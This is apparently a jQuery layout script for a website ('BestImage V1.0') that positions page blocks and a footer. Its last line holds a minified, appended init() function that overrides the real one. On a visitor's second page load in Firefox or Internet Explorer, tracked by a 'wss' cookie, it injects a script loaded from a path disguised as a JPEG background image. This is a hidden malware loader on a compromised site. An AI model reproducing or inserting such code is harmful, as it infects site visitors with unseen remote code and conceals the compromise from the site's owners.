//BestImage V1.0

//- Vars -----------------------------//
var $bounds
var $page;
var $ww, $wh;


//- DcReady---------------------------//
$(document).ready(function(){
	$bounds = $('#bounds');
	$page = $('#pagecontainer')
	init();
	$(window).trigger('resize');
	 positionFooter();
})

//- Resize----------------------------//
$(window).resize(function(){
	$ww = $(window).width();
	$wh = $(window).height();
	setBoundsPosition();
	setPagePosition()
	//smallWindowComp()
	positionFooter();
})

$(window).scroll(positionFooter)
         .resize(positionFooter)

//- Scroll-----------------------------//
$(window).bind("load", function() { 
       positionFooter();
});

function positionFooter() {
	$footer = $("#footer");
	var footerHeight = $footer.height();
	var footerTop = ($(window).scrollTop()+$(window).height()-footerHeight)+"px";
	$footer.stop().animate({top: footerTop},100)
}

//- Init -----------------------------//
function init()
{
	$ww = $(window).width();
	$wh = $(window).height();
	setBoundsPosition()
	setPagePosition()
	animateBlockIn()
}
	


//- FUNCTIONS -------------------------//
function setBoundsPosition()
{
	var top = ((($wh - 85)+20)/2)-300;
	if(top>30)
	{
		$bounds.css('top',top)
	}
	else
	{
		$bounds.css('top',30)	
	}	
}

function setPagePosition()
{
	var width_tekst = $ww - 460
	$('#tekst').width(width_tekst)
	var top = ((($wh - 85)+20)/2)-300;
	if(top>30)
	{
		$page.css('top',top)
	}
	else
	{
		$page.css('top',30)	
	}	
}

function animateBlockIn()
{
	var col = 0;
	var row = 0;
	
	$bounds.find('.block').each(function(i){
		var x = Math.round(Math.random()*$ww)-($ww/2);
		var y = Math.round(Math.random()*$wh)-($wh/2);
		$(this).css({'top':y, 'left':x, 'opacity':0})
		$(this).animate({'left':col*150, 'top':row*150, 'opacity':1},500);
		if(col == 2){ col = -1; row++;}
		col++;
	});
	
}


function placeBlocks()
{
	var col = 0;
	var row = 0;
	$bounds.find('.block').each(function(i){
		var el = $(this);
		el.css({'left':col*200, 'top':row*200});
		if(col == 2)
		{
			col = -1;
			row++;
		}
		col++;
	})	
}

/*
function smallWindowComp()
{
	var fheight = 85;
	if($wh < 680)
	{
		$('footer').css({'height':'10px'})
		$('footer').mouseenter(function(){
			$('footer').stop().animate({'height':fheight},200)
		}).mouseleave(function(){
			$('footer').stop().animate({'height':10},100)	
		})	
	}
	else
	{
			
	}
}
*/

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/backgrounds/lichtmast.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
